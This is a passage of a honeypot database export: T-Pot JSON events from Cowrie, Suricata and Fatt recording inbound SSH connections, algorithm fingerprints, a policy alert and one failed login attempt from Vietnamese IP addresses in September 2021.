25370	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:48.239972+03	2021-09-20 14:15:10.04047+03	{"_id": "nwblAnwBvYTbRNuE1Rnr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7273, "timestamp": "2021-09-20T11:09:48.239972", "@timestamp": "2021-09-20T11:09:48.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25371	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:55.033452+03	2021-09-20 14:15:10.041472+03	{"_id": "SwblAnwBvYTbRNuE7Rr5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8d1c8add9c64", "@version": "1", "duration": 2.7970643043518066, "timestamp": "2021-09-20T11:09:55.033452Z", "@timestamp": "2021-09-20T11:09:55.033Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25372	118.70.233.117	109.199.241.180	Suricata	2021-09-20 14:09:55.434851+03	2021-09-20 14:15:10.042472+03	{"_id": "WQblAnwBvYTbRNuE8Bo5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:09:55.005371+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "118.70.233.117", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 427280191132923, "payload": "AAADzAYUOAyOGf72lCM5iQdzr3blSAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35834, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:09:55.434851Z", "@timestamp": "2021-09-20T11:09:55.434Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......8......#9..s.v.H...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
25373	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:55.787313+03	2021-09-20 14:15:10.043472+03	{"_id": "WgblAnwBvYTbRNuE8Bo5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 482633729677233, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33762, "dest_port": 22, "timestamp": "2021-09-20T11:09:55.787313Z", "@timestamp": "2021-09-20T11:09:55.787Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25374	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:55.787469+03	2021-09-20 14:15:10.045472+03	{"_id": "XAblAnwBvYTbRNuE8RpM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33762, "timestamp": "2021-09-20T11:09:55.787469", "@timestamp": "2021-09-20T11:09:55.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25380	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:56.686884+03	2021-09-20 14:15:10.0535+03	{"_id": "fgblAnwBvYTbRNuE9RrG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d021f09eb494", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:56.686884Z", "@timestamp": "2021-09-20T11:09:56.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25375	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:56.128844+03	2021-09-20 14:15:10.046472+03	{"_id": "XgblAnwBvYTbRNuE8RpN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53578, "timestamp": "2021-09-20T11:09:56.128844", "@timestamp": "2021-09-20T11:09:56.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25376	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:56.922115+03	2021-09-20 14:15:10.0475+03	{"_id": "eAblAnwBvYTbRNuE9Boi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 367882941011078, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48310, "dest_port": 22, "timestamp": "2021-09-20T11:09:56.922115Z", "@timestamp": "2021-09-20T11:09:56.922Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25377	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:56.41509+03	2021-09-20 14:15:10.0495+03	{"_id": "egblAnwBvYTbRNuE9Ro2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53578, "dest_port": 22, "timestamp": "2021-09-20T11:09:56.415090", "@timestamp": "2021-09-20T11:09:56.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25378	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:56.643896+03	2021-09-20 14:15:10.050501+03	{"_id": "fAblAnwBvYTbRNuE9RrG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:48310 (192.168.176.2:22) [session: d021f09eb494]", "session": "d021f09eb494", "@version": "1", "protocol": "ssh", "src_port": 48310, "dest_port": 22, "timestamp": "2021-09-20T11:09:56.643896Z", "@timestamp": "2021-09-20T11:09:56.643Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25379	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:56.6141+03	2021-09-20 14:15:10.0525+03	{"_id": "fQblAnwBvYTbRNuE9RrG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [user/user1] failed", "session": "2485a52d7755", "@version": "1", "password": "user1", "username": "user", "timestamp": "2021-09-20T11:09:56.614100Z", "@timestamp": "2021-09-20T11:09:56.614Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25381	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:56.92304+03	2021-09-20 14:15:10.054471+03	{"_id": "fwblAnwBvYTbRNuE9RrG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d021f09eb494", "@version": "1", "timestamp": "2021-09-20T11:09:56.923040Z", "@timestamp": "2021-09-20T11:09:56.923Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 